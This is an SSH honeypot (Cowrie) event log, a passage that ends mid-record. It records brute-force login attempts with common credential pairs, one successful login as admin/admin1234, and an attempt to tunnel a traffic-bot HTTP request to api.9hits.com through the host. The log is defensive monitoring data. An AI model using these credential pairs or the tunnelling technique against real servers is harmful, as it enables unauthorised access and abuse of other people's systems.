{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:14.984045Z","src_ip":"91.92.40.36","session":"dd40c4e579e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:15.802968Z","src_ip":"91.92.40.36","session":"899e2e712353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123qwe","message":"login attempt [elasticsearch/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:17.507033Z","src_ip":"91.92.40.36","session":"0efb3520c61c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:19.108953Z","src_ip":"91.92.40.36","session":"0efb3520c61c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53140,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e872774ed26","protocol":"ssh","message":"New connection: 193.37.70.224:53140 (159.203.135.109:22) [session: 1e872774ed26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:23.018774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:23.023067Z","src_ip":"193.37.70.224","session":"1e872774ed26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:23.108807Z","src_ip":"193.37.70.224","session":"1e872774ed26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roma1993","message":"login attempt [root/roma1993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:23.368776Z","src_ip":"193.37.70.224","session":"1e872774ed26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:24.458124Z","src_ip":"193.37.70.224","session":"1e872774ed26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26888,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9a5551e85f0","protocol":"ssh","message":"New connection: 91.92.40.36:26888 (159.203.135.109:22) [session: e9a5551e85f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:24.510092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:24.514055Z","src_ip":"91.92.40.36","session":"e9a5551e85f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:25.983316Z","src_ip":"91.92.40.36","session":"e9a5551e85f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser2025","message":"login attempt [sftpuser/sftpuser2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:30.151935Z","src_ip":"91.92.40.36","session":"e9a5551e85f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25936,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d780d6924a6","protocol":"ssh","message":"New connection: 91.92.40.36:25936 (159.203.135.109:22) [session: 3d780d6924a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:31.602460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:33.981775Z","src_ip":"91.92.40.36","session":"3d780d6924a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:33.986074Z","src_ip":"91.92.40.36","session":"3d780d6924a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:34.963430Z","src_ip":"91.92.40.36","session":"e9a5551e85f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"thea","password":"thea","message":"login attempt [thea/thea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:38.941695Z","src_ip":"91.92.40.36","session":"3d780d6924a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36734,"dst_ip":"159.203.135.109","dst_port":22,"session":"aec73d3b6184","protocol":"ssh","message":"New connection: 91.92.40.36:36734 (159.203.135.109:22) [session: aec73d3b6184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:39.857213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:40.329222Z","src_ip":"91.92.40.36","session":"aec73d3b6184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:41.249991Z","src_ip":"91.92.40.36","session":"aec73d3b6184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:41.357706Z","src_ip":"91.92.40.36","session":"3d780d6924a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36764,"dst_ip":"159.203.135.109","dst_port":22,"session":"1eb84fdd4ed2","protocol":"ssh","message":"New connection: 91.92.40.36:36764 (159.203.135.109:22) [session: 1eb84fdd4ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:45.987872Z"}
{"eventid":"cowrie.login.failed","username":"aux","password":"123456","message":"login attempt [aux/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:46.209137Z","src_ip":"91.92.40.36","session":"aec73d3b6184","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:46.434528Z","src_ip":"91.92.40.36","session":"1eb84fdd4ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:47.100133Z","src_ip":"91.92.40.36","session":"1eb84fdd4ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:48.883853Z","src_ip":"91.92.40.36","session":"aec73d3b6184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haddock","password":"haddock2024","message":"login attempt [haddock/haddock2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:51.072991Z","src_ip":"91.92.40.36","session":"1eb84fdd4ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:52.981563Z","src_ip":"91.92.40.36","session":"1eb84fdd4ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12632,"dst_ip":"159.203.135.109","dst_port":22,"session":"85e0e5101172","protocol":"ssh","message":"New connection: 91.92.40.36:12632 (159.203.135.109:22) [session: 85e0e5101172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:55.353275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:55.423690Z","src_ip":"91.92.40.36","session":"85e0e5101172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":50003,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd748657c602","protocol":"ssh","message":"New connection: 173.208.192.194:50003 (10.17.0.5:22) [session: dd748657c602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:56.109572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:56.115162Z","src_ip":"173.208.192.194","session":"dd748657c602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:56.230079Z","src_ip":"173.208.192.194","session":"dd748657c602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:56.793427Z","src_ip":"91.92.40.36","session":"85e0e5101172","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:57.142427Z","src_ip":"173.208.192.194","session":"dd748657c602","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:59.490618Z","session":"dd748657c602","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:59.528968Z","src_ip":"173.208.192.194","session":"dd748657c602","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.3 Mobile/16F156 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ejY%2BeHppd3MwblB2QmEyMA%3D%3DoGSXwo2saxrH7n2DV%2BZ%2B41hZ1G%2FjUmdmtqNSZ9f6iLnPq3q%2BCv%2B3Jlr%2Fv3pQEcOxxNoTNNaL7LQOPImfMwWd1qGK%2FZY%2BW1744wE3eZGldCqb4xe1FzzMvAcY3YAMUo5JFGoFBYSOoYRHZenblTNwn2nfKLQ1U2DT9vfMiO%2BPx4h0aAOQenddYP2etJxL4axTdJ7VjOlbjSBSdx%2F7aCwCQ1idxcl1FJ5nqRxhGkenXtCrpVGpwg62Mva0T7u7B7Q7mIecaSyuW88OjeQdbsUXzeGSb3QV%2Fr7DZCnWxudYuufbohwXp8Xy3%2Fjqgyeo19mBetHsMqsZNFMLUO3zIaz10vwJl1TpuN12SI03E%2F02dZqY2AkSYdX3cLEphBqy9wsrv%2Bdqxyfy%2BzUrmBDilPeUVRMNusZ5mZfS3vIgvKAwMz6FmaRWSNI1nKq0dIa%2BModIhgZCl%2BgJIWTG3qp7DdSU4BP1ckGKoRTVstxrjuUBPwxPexBi%2B4jhaU46wKWW4HmyZ16MCaom0mMw9wNlPjd6IT52OlkZo1Dv72qq5ql%2BYYyDmywWKVAWcXr2SwHggZHU%2B8o4XzQIcdRDzbjeJl2A8fCXsVaIk64qVFHJ0RX%2BSwjq8BBGl2lXnLACmxBUDnp3z9nTVBjv6QgsB1qjMFTtUnzuZLggTmfE05iYhzPMiakOwdwdwWFhTsU9vL5HUAWHrNXMeIBWdt2udLAAlC3dRJtlWRs8DAEbmrXee3LhxZa1yfeVjTSEA0CuXjbcPTtsZjG7bQZyGxx0j%2BHuiurthEkqZnff2rWwcxwp%2FjgIFezzSAYfEc4jLZkFpOScpJX16E%2FKJAu88lXR4W7Bkp1ZaWBtH3ytoItYl5KoyUnSJxQwPiqUUoSE4vxPxCpzDDrRZF7H0YIEYN141BItwZWsu0me6cN026JDWPHRexcS92hc4i9CcjCxJ9wfwydXIJoJb65lAH7mgk4ReJ34BP4lkcrHNEQoFumWhGlC%2BHegDYmCO0nyJsVDdYAl%2FcWHJCjPlwhlpvFTEkmnQQvcNxJWaiuq8TLYQC%2FdoADklF5Uh4Dj%2BXIudMvDIp5Y%2B8ZYbUS1'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.3 Mobile/16F156 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: 